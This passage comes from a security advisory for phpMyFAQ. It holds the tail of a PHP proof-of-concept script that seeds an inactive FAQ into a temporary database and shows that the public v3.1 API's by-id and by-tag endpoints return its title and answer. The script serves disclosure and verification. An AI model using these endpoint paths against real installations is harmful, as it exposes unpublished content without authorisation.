Advisory

GHSA-mf8r-wm2w-f8c5

Details, part 2 of 2. The advisory

Details

$db->escape($answer),
));
pocQuery($db, sprintf(
"INSERT INTO faqcategoryrelations (category_id, category_lang, record_id, record_lang)
VALUES (%d, 'en', %d, 'en')",
$categoryId,
$faqId,
));
pocQuery($db, sprintf('INSERT INTO faqdata_user (record_id, user_id) VALUES (%d, -1)', $faqId));
pocQuery($db, sprintf("INSERT INTO faqvisits (id, lang, visits, last_visit) VALUES (%d, 'en', 0, 20260601010101)", $faqId));
pocQuery($db, sprintf("INSERT INTO faqtags (tagging_id, tagging_name) VALUES (%d, 'probe-private-414')", $tagId));
pocQuery($db, sprintf('INSERT INTO faqdata_tags (record_id, tagging_id) VALUES (%d, %d)', $faqId, $tagId));

$controller = new FaqController();

$categoryRequest = Request::create('/api/v3.1/faqs/' . $categoryId, 'GET');
$categoryRequest->attributes->set('categoryId', (string) $categoryId);
$categoryResponse = $controller->getByCategoryId($categoryRequest);
$categoryContainsProbe = str_contains((string) $categoryResponse->getContent(), $question);

$directRequest = Request::create('/api/v3.1/faq/' . $categoryId . '/' . $faqId, 'GET');
$directRequest->attributes->set('categoryId', (string) $categoryId);
$directRequest->attributes->set('faqId', (string) $faqId);
$directResponse = $controller->getById($directRequest);
$directContainsProbe = str_contains((string) $directResponse->getContent(), $question)
&& str_contains((string) $directResponse->getContent(), $answer);

$tagRequest = Request::create('/api/v3.1/faqs/tags/' . $tagId, 'GET');
$tagRequest->attributes->set('tagId', (string) $tagId);
$tagResponse = $controller->getByTagId($tagRequest);
$tagPayload = json_decode((string) $tagResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$tagContainsProbe = str_contains((string) $tagResponse->getContent(), $question)
&& str_contains((string) $tagResponse->getContent(), 'inactive FAQ preview');

echo "phpMyFAQ version: " . System::getVersion() . "\n";
echo "Inserted FAQ: id={$faqId}, active=no, anonymous-readable, category={$categoryId}, tag={$tagId}\n\n";
echo "GET /api/v3.1/faqs/{$categoryId} status: " . $categoryResponse->getStatusCode() . "\n";
echo "Category response contains inactive title: " . ($categoryContainsProbe ? 'yes' : 'no') . "\n\n";
echo "GET /api/v3.1/faq/{$categoryId}/{$faqId} status: " . $directResponse->getStatusCode() . "\n";
echo "Direct-by-id response contains inactive full title+answer: " . ($directContainsProbe ? 'yes' : 'no') . "\n\n";
echo "GET /api/v3.1/faqs/tags/{$tagId} status: " . $tagResponse->getStatusCode() . "\n";
echo "Tag response contains inactive title+preview: " . ($tagContainsProbe ? 'yes' : 'no') . "\n";
echo json_encode($tagPayload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "\n\n";

if (!$categoryContainsProbe && $directContainsProbe && $tagContainsProbe) {
echo "VERDICT: reproduced inactive FAQ exposure through public API controller paths.\n";
exit(0);
}

echo "VERDICT: not reproduced.\n";
exit(1);
} finally {
if (isset($tempDb) && is_file($tempDb)) {
@unlink($tempDb);
}
}

Sources & licences